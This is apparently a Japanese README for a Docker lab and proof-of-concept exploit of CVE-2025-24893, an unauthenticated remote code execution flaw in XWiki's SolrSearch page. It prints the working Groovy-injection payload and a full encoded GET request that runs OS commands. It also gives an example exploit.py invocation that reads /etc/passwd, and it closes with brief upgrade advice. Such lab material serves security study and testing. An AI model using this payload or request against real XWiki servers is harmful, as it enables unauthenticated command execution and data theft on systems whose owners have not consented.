
XWiki SolrSearch (CVE-2025-24893) における Groovy インジェクションを介した、text パラメータを使用した認証不要のリモートコード実行エクスプロイト。Docker ベースのラボ環境と PoC スクリプト付き。
Main.SolrSearchページがゲストに公開されているにもかかわらず、ユーザー入力であるtextパラメータを十分な検証なしにXWiki構文として評価することです。textに{{groovy}}マクロを挿入することで、サーバー上で任意のGroovyコードを実行でき、"command".execute()を介してOSコマンドも呼び出すことができます。この脆弱性は、追加のログインやトークンなしで、単一のGETリクエストだけで悪用可能です。このディレクトリは、公式XWikiスタンドアロン配布物15.10.1とJava 17ランタイムを使用して脆弱な環境を構成します。
| 項目 | 内容 |
|---|---|
| CVE | CVE-2025-24893 |
| 製品 | XWiki Platform |
| 脆弱バージョン | >= 5.3-milestone-2, < 15.10.11 / >= 16.0.0-rc-1, < 16.4.1 |
| パッチバージョン | 15.10.11, 16.4.1 |
| 脆弱性タイプ | Eval Injection -> Unauthenticated RCE |
| 認証の要否 | 不要 |
| 影響 | サーバーコマンド実行可能 |
Main.SolrSearchエンドポイントがゲストアクセス可能である必要がある。textパラメータをXWiki構文として評価できる必要がある。groovyマクロが実行可能な状態である必要がある。本環境はXWiki 15.10.1を使用しているため、上記の条件を満たしています。
docker compose up -d --build
初回実行時は自動インストールが行われるため、数分かかる場合があります(所要時間は約6〜7分)。
docker compose ps
docker inspect -f '{{json .State.Health}}' xwiki-web
上記のコマンド結果で"Status":"healthy"の状態になれば、環境の構成が完了し、exploitが可能な状態になります。
pip install requests
exploit.py実行前に依存関係をインストールします。
核心ペイロードは以下の通りです。
}}}{{async async=false}}{{groovy}}println("id".execute().text){{/groovy}}{{/async}}
上記ペイロードはtextパラメータに挿入され、Main.SolrSearchページで評価されます。その結果、println("id".execute().text)がサーバー上で実行され、コマンド実行結果がRSSレスポンスボディに反映されます。
完全な実行スクリプトはexploit.pyを参照してください。
python3 exploit.py
上記のPythonコードの実行によりPoCの再現が可能です。デフォルトのコマンドはidです。
python3 exploit.py -c "cat /etc/passwd"
別のコマンドを実行するには、上記のように引数を渡してください。
または、URLでリクエストを送信することもできます(idを出力するペイロード)。
http://localhost:1337/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync+async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22id%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
idを応答として返している様子
現在のディレクトリのファイル確認
15.10.11以上または16.4.1以上にアップデートする。SolrSearchアクセスログを監視する。